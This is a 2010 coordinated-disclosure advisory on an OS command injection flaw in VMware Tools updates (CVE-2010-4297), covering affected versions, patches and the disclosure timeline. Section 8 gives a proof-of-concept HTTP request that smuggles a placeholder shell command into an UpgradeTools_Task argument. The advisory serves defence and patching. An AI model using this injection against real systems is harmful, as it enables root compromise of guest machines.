Bonsai Information Security - Vulnerability Research

VMware Tools update OS Command Injection



1. Advisory Information

Advisory ID: BONSAI-2010-0110
Date published: 2010-12-09
Vendors contacted: VMware
Release mode: Coordinated release


2. Vulnerability Information

Class: Injection
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2010-4297


3. Software Description

VMWare Tools is a suite of utilities that enhances the performance of the virtual machine's guest operating system and improves management of the virtual machine. Without VMware Tools installed in your guest operating system, guest performance lacks important functionality. Installing VMware Tools eliminates or improves the following issues.

  1. low video resolution
  2. inadequate color depth
  3. incorrect display of network speed
  4. restricted movement of the mouse
  5. inability to copy and paste and drag-and-drop files
  6. missing sound

VMware Tools includes these components:

  1. VMware Tools service
  2. VMware device drivers
  3. VMware user process
  4. VMware Tools control panel

VMware Tools is provided in the following formats:

  1. ISOs (contain .tar and .rpm files) – packaged with the product and are installed in a number of ways, depending upon the VMware product and the guest operating system installed in the virtual machine. VMware Tools provides a different ISO file for each type of supported guest operating system: Windows, Linux, NetWare, Solaris, and FreeBSD.
  2. Operating System Specific Packages (OSPs) – downloaded and installed from the command line. VMware Tools is available as separate downloadable, light-weight packages that are specific to each supported Linux operating system and VMware product. OSPs are an alternative to the existing mechanism for installing VMware Tools and only support Linux systems running on ESX.

4. Vulnerability Description

Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.


5. Vulnerable packages

Column 4 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available:

VMware Product Product Version Running On Replace with / Apply Patch
VirtualCenter any Windows not affected
Workstation 7.X any 7.1.2 Build 301548 or later
Workstation 6.5.X any 6.5.5 Build 328052 or later
Player 3.1.X any 3.1.2 Build 301548 or later
Player 2.5.X any 2.5.5 Build 328052 or later
AMS any any not affected
Server 2.0.2 any affected, no patch planned
Fusion 3.1.X Mac OSX 3.1.2 Build 332101
Fusion 2.X Mac OSX 2.0.8 Build 328035
ESXi 4.1 ESXi ESXi410-201010402-BG
ESXi 4.0 ESXi ESXi400-201009402-BG
ESXi 3.5 ESXi ESXe350-201008402-T-BG **
ESX 4.1 ESX ESX410-201010405-BG
ESX 4.0 ESX ESX400-201009401-SG
ESX 3.5 ESX ESX350-201008409-BG **
ESX 3.5 ESX ESX350-201008409-BG **
ESX 3.0.3 ESX not affected

* hosted products are VMware Workstation, Player, ACE, Fusion.

** Non Windows-based guest systems on ESXi 3.5 and ESX 3.5 only:

  1. Install the relevant ESX patch.
  2. Manually upgrade tools in the virtual machine (virtual machine users will not be prompted to upgrade tools). Note the VI Client may not show that the VMware tools is out of date in th summary tab.

Full VMWare advisory could be found at:

http://www.vmware.com/security/advisories/VMSA-2010-0018.html



6. Non-vulnerable packages

See above table.

7. Credits

This vulnerability was discovered by Nahuel Grisolia ( nahuel at bonsai-sec.com ).


8. Technical Description

CVSSv2 Score: 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)

VMware Server Infrastructure Web Access is prone to remote command execution vulnerability because the software fails to adequately sanitize user-supplied input.

When Updating the VMTools on a certain Guest Virtual Machine, a command injection attack can be executed if specially crafted parameters are sent.

Successful attacks can compromise the affected Guest Virtual Machine with root privileges.

The following proof of concept is given. It was exploited in a GNU/Linux Guest with VMware Tools installed but not fully updated:

POST /ui/sb HTTP/1.1
[…]
Cookie: JSESSIONID=F78CCA7DD3CF4E2E82587B236660C9ED; user_name=vmuser; l=http%3A%2F%2Flocalhost%3A80%2Fsdk
[…]
[{i:"378",exec:"/cmd/vm",args:["UpgradeTools_Task",{_i:"VirtualMachine|960"},"; INJECTED COMMAND HERE ;"]}]


9. Report Timeline

  1. 2010-04-24:
    2. Vulnerabilities were identified

  2. 2010-04-29 - 2010-12-02:
    3. Multiple Contacts with Vendor

  3. 2010-12-09:
    4. Vulnerability is Disclosed – PoC attached


10. About Bonsai

Bonsai is a company involved in providing professional computer information security services. Currently a sound growth company, since its foundation in early 2009 in Buenos Aires, Argentina, we are fully committed to quality service, and focused on our customers real needs.


11. Disclaimer

The contents of this advisory are copyright (c) 2010 Bonsai Information Security, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.


12. Research

http://www.bonsai-sec.com/en/research/vulnerability.php